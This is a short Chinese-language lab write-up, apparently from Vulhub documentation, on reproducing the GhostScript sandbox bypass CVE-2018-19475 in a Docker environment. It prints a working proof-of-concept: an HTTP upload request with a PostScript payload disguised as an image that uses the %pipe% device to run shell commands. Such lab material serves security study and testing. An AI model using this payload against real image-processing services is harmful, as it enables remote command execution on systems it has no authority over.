GhostScript 沙箱繞過(命令執行)漏洞(CVE-2018-19475)
Path ghostscript/CVE-2018-19475
2018年底來自Semmle Security Research Team的Man Yue Mo發表了CVE-2018-16509漏洞的變體CVE-2018-19475,可以通過一個惡意圖片繞過GhostScript的沙盒,進而在9.26以前版本的gs中執行任意命令。
參考鏈接:
- https://blog.semmle.com/ghostscript-CVE-2018-19475/
- https://bugs.ghostscript.com/show_bug.cgi?id=700153
漏洞環境
執行如下命令啟動漏洞環境(其中包括 GhostScript 9.25、ImageMagick 7.0.8-20):
docker-compose up -d
環境啟動后,訪問http://your-ip:8080將可以看到一個上傳組件。
漏洞復現
將POC作為圖片上傳,執行命令id > /tmp/success && cat /tmp/success:
POST /index.php HTTP/1.1
Host: target
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO
Content-Length: 279
------WebKitFormBoundaryukZmnyhO
Content-Disposition: form-data; name="file_upload"; filename="1.jpg"
content-Type="image/png"
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
------WebKitFormBoundaryukZmnyhO--
命令已成功執行:

當然,真實環境下通常無法直接回顯漏洞執行結果,你需要使用帶外攻擊的方式來檢測漏洞。
Vulhub 文檔
推薦文章: